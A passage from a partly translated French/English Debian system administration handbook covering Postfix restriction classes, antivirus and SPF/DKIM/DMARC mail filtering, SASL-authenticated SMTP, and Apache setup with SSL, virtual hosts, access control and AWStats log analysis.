La Section 11.1.3, « Restrictions à la réception et à l'envoi » et la Section 11.1.4, « Mise en place du greylisting » ont passé en revue un grand nombre de restrictions possibles. Ces dernières servent essentiellement à limiter le nombre de spams reçus, mais elles présentent toutes des petits inconvénients. C'est pourquoi il est de plus en plus fréquent de devoir personnaliser le filtrage effectué en fonction du destinataire. Chez Falcot, le greylisting s'avérera intéressant pour la plupart des utilisateurs sauf quelques personnes dont le travail dépend de la faible latence du courrier électronique (le service d'assistance technique, par exemple). De même, le service commercial rencontre parfois des difficultés pour recevoir les réponses de certains fournisseurs asiatiques car ils sont répertoriés dans des listes noires. Ils ont donc demandé une adresse e-mail non filtrée pour pouvoir correspondre malgré tout.

Postfix gère cela grâce à un concept de « classes de restrictions ». On référence les classes dans la variable smtpd_restriction_classes et on les définit par simple affectation tout comme on définirait smtpd_recipient_restrictions. Ensuite la directive check_recipient_access permet d'employer une table de correspondances pour définir les restrictions à employer pour un destinataire donné.

Exemple 11.9. Définir des classes de restriction dans main.cf

smtpd_restriction_classes = greylisting, aggressive, permissive

greylisting = check_policy_service inet:127.0.0.1:10023

aggressive =

reject_rbl_client sbl-xbl.spamhaus.org,

check_policy_service inet:127.0.0.1:10023

permissive = permit

smtpd_recipient_restrictions =

permit_mynetworks,

reject_unauth_destination,

check_recipient_access hash:/etc/postfix/recipient_access

Exemple 11.10. Fichier /etc/postfix/recipient_access

# Adresses sans filtrage

postmaster@falcot.com  permissive

support@falcot.com     permissive

sales-asia@falcot.com  permissive

# Filtrage agressif pour quelques privilégiés

joe@falcot.com         aggressive

# Règle spéciale pour le robot de gestion de listes

sympa@falcot.com       reject_unverified_sender

# Par défaut, le greylisting

falcot.com             greylisting

11.1.6. Integrating an Antivirus Filter

The many viruses circulating as attachments to emails make it important to set up an antivirus solution at the entry point of the company network, since despite an awareness campaign, some users will still open attachments from obviously shady messages.

SECURITY Controversial Discussion of Anti-Virus Software

The usage of virus scanners, or so called antivirus software, is controversial. There is usually a gap between the release of some piece of malware and the addition of detection rules to the antivirus database. During this gap, there is no software-based protection. Further, the usage often requires to run additional software, for example, to uncompress archives and scan all kinds of executables, which drastically increases the exploit potential of the antivirus software itself. Usage of such software solutions can therefor never replace awareness campaigns and simple behavioral rules (never open unsolicited sent attachments, etc.).

The Falcot administrators selected clamav from the homonymous package.

Pour interfacer cet antivirus au serveur de messagerie, on emploiera le logiciel clamav-milter. Un milter (terme dérivé de l'expression mail filter) est un logiciel de filtrage de courriers spécialement conçu pour s'interfacer avec les serveurs de courrier électronique. Les milters exploitent une interface de programmation (API) dédiée qui assure de bien meilleures performances comparé aux filtres gérés en dehors des serveurs de courrier. Sendmail a été le premier à introduire cette technologie mais Postfix lui a emboîté le pas.

DÉCOUVERTE Un milter pour Spamassassin

Le paquet spamass-milter contient un filtre basé sur le célèbre logiciel de détection de courriels non sollicités SpamAssassin. Il peut être employé pour marquer les messages comme des spams probables (en ajoutant un en-tête supplémentaire) et/ou pour les rejeter si le score du message dépasse une certaine limite.

Une fois le paquet clamav-milter installé, le milter devrait être reconfiguré pour utiliser un port TCP plutôt que la socket nommée proposée par défaut. Lors de l'exécution de dpkg-reconfigure clamav-milter, il s'agit de répondre inet:10002@127.0.0.1 à la question portant sur l'interface de communication avec Sendmail.

NOTE Vrai port TCP ou socket nommée ?

La raison pour laquelle nous utilisons un vrai port TCP plutôt qu'une socket nommée est que le démon Postfix est souvent enfermé dans un chroot et n'a pas accès au répertoire dans lequel la socket est créée. Il serait toutefois possible de conserver l'utilisation de la socket, en modifiant son emplacement pour qu'elle soit dans le chroot (donc sous /var/spool/postfix/).

La configuration standard de clamav convient dans la majorité des situations mais dpkg-reconfigure clamav-base permet de personnaliser les paramètres les plus importants.

La dernière étape consiste à demander à Postfix d'utiliser le logiciel de filtrage que l'on vient de configurer. Cela se fait simplement en ajoutant une directive dans /etc/postfix/main.cf :

# Virus check with clamav-milter

smtpd_milters = inet:[127.0.0.1]:10002

En cas de problèmes avec l'antivirus, il suffira de commenter cette ligne et d'exécuter la commande systemctl reload postfix pour faire prendre en compte cette modification.

EN PRATIQUE Tester l'antivirus

Once the antivirus is set up, its correct behavior should be tested. The simplest way to do that is to send a test email with an attachment containing the eicar.com (or eicar.com.zip) file, which can be downloaded online:

→ https://2016.eicar.org/86-0-Intended-use.html

Il ne s'agit pas d'un vrai virus mais d'un fichier reconnu comme tel par tous les antivirus du marché afin que chacun puisse facilement vérifier que l'installation fonctionne comme prévu.

Les messages traités par Postfix passent désormais systématiquement par un détecteur-filtre antivirus.

11.1.7. Fighting Spam with SPF, DKIM and DMARC

The high number of unsolicited email sent every day led to the creation of several standards, which aim at validating that the sending host of an email is authorized and that the email has not been tampered with. The following systems are all DNS-based and require the administrators to not only have control over the mail server, but over the DNS for the domain in question too.

CAUTION Controversial Discussion

Like any other tool, the following standards have limits and real effects if put to use. They can (and should) lead to emails being rejected or even just discarded. If that happens to some legitimate emails (sometimes sent from a misconfigured SMTP server), it usually causes anger and a lack of understanding by the user. Therefore these rules are often applied as a "soft fail" or a "soft reject", which usually means that failing the checks only leads to adding a (header) mark to the affected email. There are people who think that this makes these standards "broken by design". Decide for yourself and be careful about how strict you choose to apply these standards.

11.1.7.1. Integrating the Sender Policy Framework (SPF)

The Sender Policy Framework (SPF) is used to validate if a certain mail server is allowed to send emails for a given domain. It is mostly configured through DNS. The syntax for the entry to make is explained in detail at:

→ http://www.open-spf.org/SPF_Record_Syntax

→ https://tools.ietf.org/html/rfc7208

→ https://en.wikipedia.org/wiki/Sender_Policy_Framework

The following is a sample DNS entry which states that all the domain's Mail Exchange Resource Records (MX-RRs) are allowed to send email for the current domain, and all others are prohibited. The DNS entry does not need to be given a name. But to use the include directive it must have one.

Name: example.org

Type: TXT

TTL:  3600

Data: v=spf1 a mx -all

Let's take a quick look at the falcot.org entry.

# host -t TXT falcot.org

falcot.org descriptive text "v=spf1 ip4:199.127.61.96 +a +mx +ip4:206.221.184.234 +ip4:209.222.96.251 ~all"

It states that the IP of the sender must match the A record for the sending domain, or must be listed as one of the Mail Exchange Resource Records for the current domain, or must be one of the three mentioned IP4 addresses. All other hosts should be marked as not being allowed to send email for the sender domain. The latter is called a "soft fail" and is intended to mark the email accordingly, but still accept it.

The postfix mail server can check the SPF record for incoming emails using the postfix-policyd-spf-python package, a policy agent written in Python. The file /usr/share/doc/postfix-policyd-spf-python/README.Debian describes the necessary steps to integrate the agent into postfix, so we won't repeat it here.

The configuration is done in the file /etc/postfix-policyd-spf-python/policyd-spf.conf, which is fully documented in policyd-spf.conf(5) and /usr/share/doc/postfix-policyd-spf-python/policyd-spf.conf.commented.gz. The main configuration parameters are HELO_reject and Mail_From_reject, which configure if emails should be rejected (Fail) or accepted with a header being appended (False), if checks fail. The latter is often useful, when the message is further processed by a spam filter.

If the result is intended to be used by opendmarc (Section 11.1.7.3, « Integrating Domain-based Message Authentication, Reporting and Conformance (DMARC) »), then Header_Type must be set to AR.

Note that spamassassin contains a plugin to check the SPF record.

11.1.7.2. Integrating DomainKeys (DKIM) Signing and Checking

The Domain Keys Identified Mail (DKIM) standard is a sender authentication system. The mail transport agent, here postfix, adds a digital signature associated with the domain name to the header of outgoing emails. The receiving party can validate the message body and header fields by checking the signature against a public key, which is retrieved from the senders DNS records.

→ http://dkim.org/

The necessary tools are shipped with the opendkim and opendkim-tools packages.

CAUTION Mailing List Software and DKIM

Mailing list managers often rewrite some email headers, thus leading to invalid DKIM signatures. Even using a relaxed canonicalization does not always prevent this from happening. So the administrators must pay close attention to the mail severs log files to identify such issues. Otherwise such emails might be flagged as spam and might get rejected.

First the private key must be created using the command opendkim-genkey -s SELECTOR -d DOMAIN. SELECTOR must be a unique name for the key. It can be as simple as "mail" or the date of creation, if you plan to rotate keys.

Exemple 11.11. Create a private key for signing E-Mails from falcot.com

# opendkim-genkey -s mail -d falcot.com -D /etc/dkimkeys

# chown opendkim.opendkim /etc/dkimkeys/mail.*

This will create the files /etc/dkimkeys/mail.private and /etc/dkimkeys/mail.txt and set the appropriate ownership. The first file contains the private key, and the latter the public key that needs to be added to the DNS:

Name: mail._domainkey

Type: TXT

TTL:  3600

Data: "v=DKIM1; h=sha256; k=rsa; s=email; p=[...]"

The opendkim package in Debian defaults to a keysize of 2048 bit. Unfortunately some DNS servers can only handle text entries with a maximum length of 255 characters, which is exceeded by the chosen default keysize. In this case use the option -b 1024 to chose a smaller keysize. If opendkim-testkey succeeds, the entry has been successfully set up. The syntax of the entry is explained here:

→ https://tools.ietf.org/html/rfc6376

→ https://en.wikipedia.org/wiki/DKIM

To configure opendkim, SOCKET and RUNDIR must be chosen in /etc/default/opendkim. Please note that SOCKET must be accessible from postfix in its chrooted environment. The further configuration is done in /etc/opendkim.conf. The following is a configuration excerpt, which makes sure that the Domain "falcot.com" and all subdomains (SubDomain) are signed by the Selector "mail" and the single private key (KeyFile) /etc/dkimkeys/mail.private. The "relaxed" Canonicalization for both the header and the body tolerates mild modification (by a mailing list software, for example). The filter runs both in signing ("s") and verification ("v") Mode. If a signature fails to validate (On-BadSignature), the mail should be quarantined ("q").

[...]

Domain                  falcot.com

KeyFile                 /etc/dkimkeys/mail.private

Selector                mail

[...]

Canonicalization        relaxed/relaxed

Mode                    sv

On-BadSignature         q

SubDomains              yes

[...]

Socket                  inet:12345@localhost

[...]

UserID                  opendkim

It is also possible to use multiple selectors/keys (KeyTable), domains (SigningTable) and to specify internal or trusted hosts (InternalHosts, ExternalIgnoreList), which may send mail through the server as one of the signing domains without credentials.

The following directives in /etc/postfix/main.cf make postfix use the filter:

milter_default_action = accept

non_smtpd_milters = inet:localhost:12345

smtpd_milters = inet:localhost:12345

To differentiate signing and verification it is sometimes more useful to add the directives to the services in /etc/postfix/master.cf instead.

More information is available in the /usr/share/doc/opendkim/ directory and the manual pages opendkim(8) and opendkim.conf(5).

Note that spamassassin contains a plugin to check the DKIM record.

11.1.7.3. Integrating Domain-based Message Authentication, Reporting and Conformance (DMARC)

The Domain-based Message Authentication, Reporting and Conformance (DMARC) standard can be used to define a DNS TXT entry with the name _dmarc and the action that should be taken when emails that contain your domain as the sending host fail to validate using DKIM and SPF.

→ https://dmarc.org/overview/

Let's have a look at the entries of two large providers:

# host -t TXT _dmarc.gmail.com

_dmarc.gmail.com descriptive text "v=DMARC1; p=none; sp=quarantine; rua=mailto:mailauth-reports@google.com"

# host -t TXT _dmarc.yahoo.com

_dmarc.yahoo.com descriptive text "v=DMARC1; p=reject; pct=100; rua=mailto:d@rua.agari.com; ruf=mailto:d@ruf.agari.com;"

Yahoo has a strict policy to reject all emails pretending to be sent from a Yahoo account but missing or failing DKIM and SPF checks. Google Mail (Gmail) propagates a very relaxed policy, in which such messages from the main domain should still be accepted (p=none). For subdomains they should be marked as spam (sp=quarantine). The addresses given in the rua key can be used to send aggregated DMARC reports to. The full syntax is explained here:

→ https://tools.ietf.org/html/rfc7489

→ https://en.wikipedia.org/wiki/DMARC

The postfix mail server can use this information too. The opendmarc package contains the necessary milter. Similar to opendkim SOCKET and RUNDIR must be chosen in /etc/default/opendmarc (for Unix sockets you must make sure that they are inside the postfix chroot to be found). The configuration file /etc/opendmarc.conf contains detailed comments and is also explained in opendmarc.conf(5). By default, emails failing the DMARC validation are not rejected but flagged, by adding an appropriate header field. To change this, use RejectFailures true.

The milter is then added to smtpd_milters and non_smtpd_milters. If we configured the opendkim and opendmarc milters to run on ports 12345 and 54321, the entry in /etc/postfix/main.cf looks like this:

non_smtpd_milters = inet:localhost:12345,inet:localhost:54321

smtpd_milters = inet:localhost:12345,inet:localhost:54321

The milter can also be selectively applied to a service in /etc/postfix/master.cf instead.

11.1.8. SMTP authentifié

Pour être capable d'envoyer des courriers électroniques, il faut pouvoir accéder à un serveur SMTP et il faut que ce dernier vous y autorise. Lorsqu'on est itinérant, cela nécessite de changer régulièrement de serveur SMTP puisque celui de Falcot ne va pas accepter de relayer des messages de la part d'une adresse IP apparemment extérieure à l'entreprise. Il y a deux solutions : soit l'itinérant installe son propre serveur de courrier sur son ordinateur, soit il continue d'utiliser le serveur SMTP de l'entreprise mais il s'authentifie au préalable comme étant un employé de la société. La première solution n'est pas conseillée car l'ordinateur n'est pas connecté en permanence et il ne peut donc pas essayer régulièrement de réémettre en cas de problème. Nous allons donc voir comment mettre en place la seconde.

L'authentification SMTP de Postfix s'appuie sur SASL (Simple Authentication and Security Layer). Il faut installer les paquets libsasl2-modules et sasl2-bin, puis il convient d'enregistrer un mot de passe dans la base SASL pour chaque utilisateur qui doit pouvoir s'authentifier sur le serveur SMTP. On utilise pour cela la commande saslpasswd2. L'option -u précise le domaine d'authentification, il doit correspondre au paramètre smtpd_sasl_local_domain de Postfix. L'option -c sert à créer un utilisateur et l'option -f permet de modifier une base SASL située ailleurs qu'à son emplacement standard (/etc/sasldb2).

# saslpasswd2 -h `postconf -h myhostname` -f /var/spool/postfix/etc/sasldb2 -c jean

[... saisir deux fois le mot de passe de jean ...]

Notons au passage que l'on a créé la base de données SASL dans le répertoire de Postfix. Par souci de cohérence, on va faire pointer /etc/sasldb2 vers la base employée par Postfix. Cela s'effectue avec la commande ln -sf /var/spool/postfix/etc/sasldb2 /etc/sasldb2.

Reste maintenant à configurer Postfix pour faire usage de SASL. En premier lieu, il faut ajouter l'utilisateur postfix dans le groupe sasl afin qu'il puisse accéder à la base de données des comptes SASL. Ensuite, il faut ajouter quelques paramètres pour activer SASL, puis modifier le paramètre smtpd_recipient_restrictions pour autoriser les clients authentifiés par SASL à envoyer des courriels à tous les destinataires.

Exemple 11.12. Modification de /etc/postfix/main.cf pour activer SASL

# Enable SASL authentication

smtpd_sasl_auth_enable = yes

# Define the SASL authentication domain to use

smtpd_sasl_local_domain = $myhostname

[...]

# Adding permit_sasl_authenticated before reject_unauth_destination

# allows relaying mail sent by SASL-authenticated users

smtpd_recipient_restrictions =

permit_sasl_authenticated,

permit_mynetworks,

reject_unauth_destination,

[...]

It is usually a good idea to not send passwords over an unencrypted connection. Postfix allows to use different configurations for each port (service) it runs on. All these can be configured with different rules and directives in the /etc/postfix/master.cf file. To turn off authentication at all for port 25 (smtpd service) add the following directive:

smtp      inet  n       -       y       -       -       smtpd

[..]

-o smtpd_sasl_auth_enable=no

[..]

If for some reason clients use an outdated AUTH command (some very old mail clients do), interoperability with them can be enabled using the broken_sasl_auth_clients directive.

COMPLÉMENTS Client SMTP authentifié

La plupart des logiciels de messagerie électronique savent désormais s'authentifier auprès d'un serveur SMTP pour expédier le courrier sortant. Il suffit de configurer les paramètres correspondants. Si ce n'est pas le cas, il est possible d'employer un serveur Postfix local et de le configurer pour relayer le courrier vers le serveur SMTP distant. Dans ce cas, Postfix sera le client dans l'authentification SASL. Voici les paramètres nécessaires :

smtp_sasl_auth_enable = yes

smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd

relay_host = [mail.falcot.com]

Le fichier /etc/postfix/sasl_passwd doit contenir le nom d'utilisateur et le mot de passe à employer pour s'authentifier sur le serveur smtp.falcot.com. Voici un exemple :

[mail.falcot.com]   joe:LyinIsji

Comme pour toutes les tables de correspondance Postfix, il faut penser à employer postmap pour régénérer /etc/postfix/sasl_passwd.db.

11.2. Serveur web (HTTP)

The Falcot Corp administrators decided to use the Apache HTTP server, included in Debian Bullseye at version 2.4.52.

ALTERNATIVE Autres serveurs web

Apache is probably the most widely-known web server, but there are others. Its major opponent is nginx, which comes in different packages with different sets of features, like nginx-light, nginx-full, or nginx-extras. Another alternative is lighttpd. All of them can offer very good or even better performance under certain workloads or in certain situations, but not all provide the same number of available features and modules.

11.2.1. Installation d'Apache

Installing the apache2 package is all that is needed. It contains all the modules, including the Multi-Processing Modules (MPMs) that affect how Apache handles parallel processing of many requests, which used to be provided in separate apache2-mpm-* packages. It will also pull apache2-utils containing the command line utilities that we will discover later.

Le module MPM employé définit la manière dont Apache traite les requêtes entrantes. Avec le MPM worker il utilise des threads (processus légers), alors qu'avec le MPM prefork il utilise un ensemble de processus créés par avance. Avec le MPM event il utilise également des threads, mais les connexions inactives (notamment celle gardées ouvertes par la fonctionnalité keep-alive du protocole HTTP) sont rendues à un thread dédié à leur gestion.

The Falcot administrators also install libapache2-mod-php so as to include the PHP 7.4 support in Apache. This causes the default event MPM to be disabled, and prefork to be used instead. To use the event MPM one can use php-fpm.

SÉCURITÉ Exécution sous l'utilisateur www-data

By default, Apache handles incoming requests under the identity of the www-data user as defined in /etc/apache2/envvars. This means that a security vulnerability in a CGI script executed by Apache (for a dynamic page) won't compromise the whole system, but only the files owned by this particular user.

L'usage du module suexec, fourni par les paquets apache2-suexec-*, permet de changer cette règle afin que certains CGI soient exécutés avec les droits d'un autre utilisateur. Cela se paramètre avec la directive SuexecUserGroup utilisateur groupe dans la configuration de Apache.

Il est également possible d'utiliser un MPM dédié, comme celui fourni par libapache2-mpm-itk. Celui-ci a un fonctionnement différent, en ce qu'il permet d'« isoler » les hôtes virtuels (en réalité des ensembles de pages) de manière à ce qu'ils tournent chacun sous un utilisateur différent. Ainsi, une faille dans un site web dynamique ne compromettra pas les fichiers appartenant à l'utilisateur d'un autre site web.

DÉCOUVERTE Liste des modules

The full list of Apache standard modules can be found online.

→ https://httpd.apache.org/docs/2.4/mod/

Apache est un serveur modulaire et la plupart des fonctionnalités sont implémentées dans des modules externes que le programme charge pendant son initialisation. La configuration par défaut n'active que les modules les plus courants et les plus utiles. Mais la commande a2enmod module permet d'activer un nouveau module tandis que a2dismod module le désactive. Ces deux programmes ne font rien d'autre que créer ou supprimer des liens symboliques dans /etc/apache2/mods-enabled/ pointant vers des fichiers de /etc/apache2/mods-available/.

EN PRATIQUE Vérifier la configuration

The mod_info module (a2enmod info) allows to access the comprehensive Apache server configuration and information via browser visiting http://localhost/server-info. Because it might contain sensitive information, access is only allowed from the local host by default.

→ https://httpd.apache.org/docs/2.4/mod/mod_info.html

Par défaut, le serveur web écoute sur le port 80 (configuré dans /etc/apache2/ports.conf) et renvoie les pages web depuis le répertoire /var/www/html/ (configuré dans /etc/apache2/sites-enabled/000-default.conf).

11.2.2. Adding support for SSL

Apache 2.4 intègre en standard le module SSL (mod_ssl) nécessaire au HTTP sécurisé (HTTPS). Il faut juste l'activer avec a2enmod ssl puis placer les directives nécessaires dans la configuration. Un exemple est fourni dans /etc/apache2/sites-available/default-ssl.conf.

→ https://httpd.apache.org/docs/2.4/mod/mod_ssl.html

If you want to generate trusted certificates, you can follow section Section 10.2.1, « Creating gratis trusted certificates » and then adjust the following variables:

SSLCertificateFile      /etc/letsencrypt/live/DOMAIN/fullchain.pem

SSLCertificateKeyFile   /etc/letsencrypt/live/DOMAIN/privkey.pem

SSLCertificateChainFile /etc/letsencrypt/live/DOMAIN/chain.pem

SSLCACertificateFile    /etc/ssl/certs/ca-certificates.crt

Some extra care must be taken if you want to favor SSL connections with Perfect Forward Secrecy (those connections use ephemeral session keys ensuring that a compromise of the server's secret key does not result in the compromise of old encrypted traffic that could have been stored while sniffing on the network). Have a look at Mozilla's recommendations in particular:

→ https://wiki.mozilla.org/Security/Server_Side_TLS#Apache

As an alternative to the standard SSL module, there is an extension module called mod_gnutls, which is shipped with the libapache2-mod-gnutls package and enabled with the a2enmod gnutls command. Unfortunately the version packaged for Debian had serious issues and even security implications and is therefor not part of the Debian Bullseye release.

→ https://mod.gnutls.org/

11.2.3. Configuration d'hôtes virtuels

Un hôte virtuel est une identité (supplémentaire) assumée par le serveur web.

Apache distingue deux types d'hôtes virtuels : ceux qui se basent sur l'adresse IP (ou le port) et ceux qui reposent sur le nom DNS du serveur web. La première méthode nécessite une adresse IP différente pour chaque site tandis que la seconde n'emploie qu'une adresse IP et différencie les sites par le nom d'hôte communiqué par le client HTTP (ce qui ne fonctionne qu'avec la version 1.1 du protocole HTTP, heureusement déjà employée par tous les navigateurs web).

La rareté (de plus en plus pressante) des adresses IPv4 fait en général privilégier cette deuxième méthode. Elle est cependant complexifiée si chacun des hôtes virtuels a besoin de HTTPS : le protocole SSL n'a pas toujours permis ce fonctionnement et l'extension SNI (Server Name Indication) qui le rend possible n'est pas connue de tous les navigateurs. Si plusieurs sites HTTPS doivent fonctionner sur un même serveur, on préférera donc les différencier soit par leur port, soit par leur adresse IP (en utilisant éventuellement IPv6).

La configuration par défaut d'Apache 2 exploite les hôtes virtuels basés sur le nom. De plus, un hôte virtuel par défaut a été défini dans le fichier /etc/apache2/sites-enabled/000-default.conf. Cet hôte virtuel sera employé si aucun autre hôte virtuel ne correspond à la requête du client.

ATTENTION Premier hôte virtuel

Le premier hôte virtuel défini répondra systématiquement aux requêtes concernant des hôtes virtuels inconnus. C'est pourquoi nous avons d'abord défini ici www.falcot.com.

DÉCOUVERTE Apache prend en charge SNI

Apache prend en charge une extension du protocole SSL appelée Server Name Indication (SNI). Elle permet au navigateur web d'envoyer le nom d'hôte du serveur web dès l'établissement de la connexion SSL, donc bien avant l'envoi de la requête HTTP qui sert habituellement à identifier le bon site web parmi tous les hôtes virtuels hébergés sur le même serveur (et la même adresse IP). Ainsi, Apache peut sélectionner le certificat SSL adéquat pour la communication.

Avant l'introduction de SNI, Apache employait systématiquement le certificat de l'hôte virtuel par défaut. Lorsque le certificat ne correspondait pas au site web demandé, les navigateurs affichaient donc des avertissements. Notons que ce comportement persiste lorsque l'utilisateur dispose d'un navigateur n'acceptant pas SNI. Fort heureusement la plupart des navigateurs l'exploitent désormais ; c'est le cas de Microsoft Internet Explorer depuis sa version 7.0 (sur Vista seulement, pas XP), de Mozilla Firefox depuis sa version 2.0, de Apple Safari depuis sa version 3.2.1 et de toutes les versions de Google Chrome.

Le paquet Apache fournit par Debian est compilé avec le support SNI. Aucune configuration particulière n'est donc nécessaire.

Chaque hôte virtuel supplémentaire est ensuite décrit par un fichier placé dans le répertoire /etc/apache2/sites-available/. Ainsi, la mise en place du domaine falcot.org se résume à créer le fichier ci-dessous, puis à l'activer avec a2ensite www.falcot.org.

Exemple 11.13. Fichier /etc/apache2/sites-available/www.falcot.org.conf

<VirtualHost *:80>

ServerName   www.falcot.org

ServerAlias  falcot.org

DocumentRoot /srv/www/www.falcot.org

</VirtualHost>

Le serveur Apache est ici configuré pour n'utiliser qu'un seul fichier de log pour tous les hôtes virtuels (ce qu'on pourrait changer en intégrant des directives CustomLog dans les définitions des hôtes virtuels). Il est donc nécessaire de personnaliser le format de ce fichier pour y intégrer le nom de l'hôte virtuel. Pour cela, on ajoutera un fichier /etc/apache2/conf-available/customlog.conf définissant un nouveau format (directive LogFormat) et on l'activera avec a2enconf customlog. Il faut également supprimer (ou passer en commentaire) la ligne CustomLog du fichier /etc/apache2/sites-available/000-default.conf.

Exemple 11.14. Fichier /etc/apache2/conf-available/customlog.conf

# Nouveau format de log avec nom de l'hôte virtuel (vhost)

LogFormat "%v %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" vhost

# On emploie le format vhost en standard

CustomLog /var/log/apache2/access.log vhost

11.2.4. Directives courantes

Cette section passe brièvement en revue quelques-unes des directives de configuration d'Apache les plus usitées.

Le fichier de configuration principal contient habituellement plusieurs blocs Directory destinés à paramétrer le comportement du serveur en fonction de l'emplacement du fichier servi. À l'intérieur de ce bloc, on trouve généralement les directives Options et AllowOverride.

Exemple 11.15. Bloc Directory

<Directory /srv/www>

Options Includes FollowSymlinks

AllowOverride All

DirectoryIndex index.php index.html index.htm

</Directory>

La directive DirectoryIndex précise la liste des fichiers à essayer pour répondre à une requête sur un répertoire. Le premier fichier existant est appelé pour générer la réponse.

La directive Options est suivie d'une liste d'options à activer. None désactive toutes les options. Inversement, All les active toutes sauf MultiViews. Voici les options existantes :

- ExecCGI indique qu'il est possible d'exécuter des scripts CGI.

- FollowSymlinks indique au serveur qu'il doit suivre les liens symboliques et donc effectuer la requête sur le fichier réel qui en est la cible.

- SymlinksIfOwnerMatch also tells the server to follow symbolic links, but only when the link and its target have the same owner.

- Includes active les inclusions côté serveur (Server Side Includes, ou SSI). Il s'agit de directives directement intégrées dans les pages HTML et exécutées à la volée à chaque requête.

- IncludesNOEXEC allows Server Side Includes (SSI) but disables the exec command and limits the include directive to text/markup files.

- Indexes tells the server to list the contents of a directory if the HTTP request sent by the client points at a directory without an index file (i.e., when no files mentioned by the DirectoryIndex directive exists in this directory).

- MultiViews active la négociation de contenu, ce qui permet notamment au serveur de renvoyer la page web correspondant à la langue annoncée par le navigateur web.

B.A.-BA Fichier .htaccess

Le fichier .htaccess contient des directives de configuration d'Apache, prises en compte à chaque fois qu'une requête concerne un élément du répertoire où il est stocké. Sa portée embrasse également les fichiers de toute l'arborescence qui en est issue.

La plupart des directives qu'on peut placer dans un bloc Directory peut également se trouver dans un fichier .htaccess.

La directive AllowOverride donne toutes les options qu'on peut activer ou désactiver par l'intermédiaire d'un fichier .htaccess. Il est souvent important de contrôler l'option ExecCGI pour rester maître des utilisateurs autorisés à exécuter un programme au sein du serveur web (sous l'identifiant www-data).

11.2.4.1. Requérir une authentification

In some circumstances, access to part of a website needs to be restricted, so only legitimate users who provide a username and a password are granted access to the contents. These feature are provided by the mod_auth* modules.

Exemple 11.16. Fichier .htaccess requérant une authentification

Require valid-user

AuthName "Répertoire privé"

AuthType Basic

AuthUserFile /etc/apache2/authfiles/htpasswd-prive

SÉCURITÉ Aucune sécurité

Ce système d'authentification (Basic) a une sécurité très faible puisque les mots de passe circulent sans protection (ils sont uniquement codés en base64 — un simple encodage et non pas un procédé de chiffrement). Il faut noter que les documents protégés par ce mécanisme circulent également de manière non chiffrée. Si la sécurité vous importe, faites appel à SSL pour chiffrer toute la connexion HTTP.

Le fichier /etc/apache2/authfiles/htpasswd-prive contient la liste des utilisateurs et leurs mots de passe ; on le manipule avec la commande htpasswd. Pour ajouter un utilisateur ou changer un mot de passe, on exécutera la commande suivante :

# htpasswd /etc/apache2/authfiles/htpasswd-prive utilisateur

New password:

Re-type new password:

Adding password for user utilisateur

11.2.4.2. Restrictions d'accès

La directive Require contrôle les restrictions d'accès à un répertoire (et ses sous-répertoires).

→ https://httpd.apache.org/docs/2.4/howto/access.html

Cette directive peut être utilisée pour restreindre les accès suivant de nombreux critères. Les restrictions d'accès basées sur les adresses IP du client sont décrites plus loin mais cette directive est bien plus puissante, tout particulièrement lorsque plusieurs directives Require sont combinées dans un bloc RequireAll.

Exemple 11.17. Uniquement autoriser le réseau local

Require ip 192.168.0.0/16

ALTERNATIVE Ancienne syntaxe

The Require syntax is only available in Apache 2.4 (the version shipped since Jessie). For users of Wheezy, the Apache 2.2 syntax is different, and we describe it here mainly for reference, although it can also be made available in Apache 2.4 using the mod_access_compat module.

Les directives Allow from et Deny from contrôlent les restrictions d'accès à un répertoire (et ses sous-répertoires).

La directive Order indique dans quel ordre évaluer les directives Allow from et Deny from (et la dernière qui s'applique est retenue). Concrètement, Order deny,allow autorise l'accès si aucune des règles Deny from ne s'applique ou si une des règles Allow from s'applique. Inversement, Order allow,deny refuse l'accès si aucune directive Allow from ne l'autorise (ou si une directive Deny from s'applique).

Les directives Allow from et Deny from peuvent être suivies d'une adresse IP, d'un réseau (exemples : 192.168.0.0/255.255.255.0, 192.168.0.0/24 et même 192.168.0), d'un nom de machine ou de domaine, ou du mot-clé all désignant tout le monde.

Par exemple, pour interdire les connexions par défaut mais les autoriser depuis le réseau local, il est possible d'utiliser :

Order deny,allow

Allow from 192.168.0.0/16

Deny from all

11.2.5. Analyseur de logs

L'analyseur de logs est un compagnon fréquent du serveur web puisqu'il permet aux administrateurs d'avoir une idée plus précise de l'usage fait de ce service.

Les administrateurs de Falcot SA ont retenu AWStats (Advanced Web Statistics, ou statistiques web avancées) pour analyser les fichiers de logs d'Apache.

La première étape de la configuration consiste à créer le fichier /etc/awstats/awstats.conf. Les administrateurs de Falcot n'ont modifié que les différents paramètres donnés ci-dessous :

LogFile="/var/log/apache2/access.log"

LogFormat = "%virtualname %host %other %logname %time1 %methodurl %code %bytesd %refererquot %uaquot"

SiteDomain="www.falcot.com"

HostAliases="falcot.com REGEX[^.*\.falcot\.com$]"

DNSLookup=1

LoadPlugin="tooltips"

Tous ces paramètres sont documentés par commentaires dans le fichier modèle. LogFile et LogFormat indiquent l'emplacement du fichier de log et les informations qu'il contient. Les paramètres SiteDomain et HostAliases indiquent les différents noms associés au site web principal.

Pour les sites à fort trafic, il est déconseillé de positionner DNSLookup à 1 comme dans l'exemple précédent. En revanche, pour les petits sites, ce réglage permet d'avoir des rapports plus lisibles qui emploient les noms complets des machines plutôt que leurs adresses IP.

SÉCURITÉ Accès aux statistiques

Les statistiques d'AWStats sont disponibles sur le site web sans restrictions. On pourra le protéger de manière à ce que seules quelques adresses IP (internes probablement) puissent y accéder. Cela s'effectue en donnant la liste des adresses IP autorisées dans le paramètre AllowAccessFromWebToFollowingIPAddresses

On activera AWStats pour d'autres hôtes virtuels, en créant un fichier spécifique par hôte, par exemple /etc/awstats/awstats.www.falcot.org.conf.

Exemple 11.18. Fichier de configuration AWStats pour un hôte virtuel

Include "/etc/awstats/awstats.conf"

SiteDomain="www.falcot.org"

HostAliases="falcot.org"

AWStats uses many icons stored in the /usr/share/awstats/icon/ directory. In order for these icons to be available on the web site, the Apache configuration needs to be adapted to include the following directive (check out /usr/share/doc/awstats/examples/apache.conf for a more detailed example):

Alias /awstats-icon/ /usr/share/awstats/icon/

Après quelques minutes (et les premières exécutions du script), le résultat est accessible en ligne :

→ http://www.falcot.com/cgi-bin/awstats.pl

→ http://www.falcot.org/cgi-bin/awstats.pl

ATTENTION Rotation de logs

In order for the statistics to take all the logs into account, AWStats needs to be run right before the Apache log files are rotated. Looking at the prerotate directive of /etc/logrotate.d/apache2 file, this is solved by the awstats package by putting a script in /etc/logrotate.d/httpd-prerotate running /usr/share/awstats/tools/update.sh.

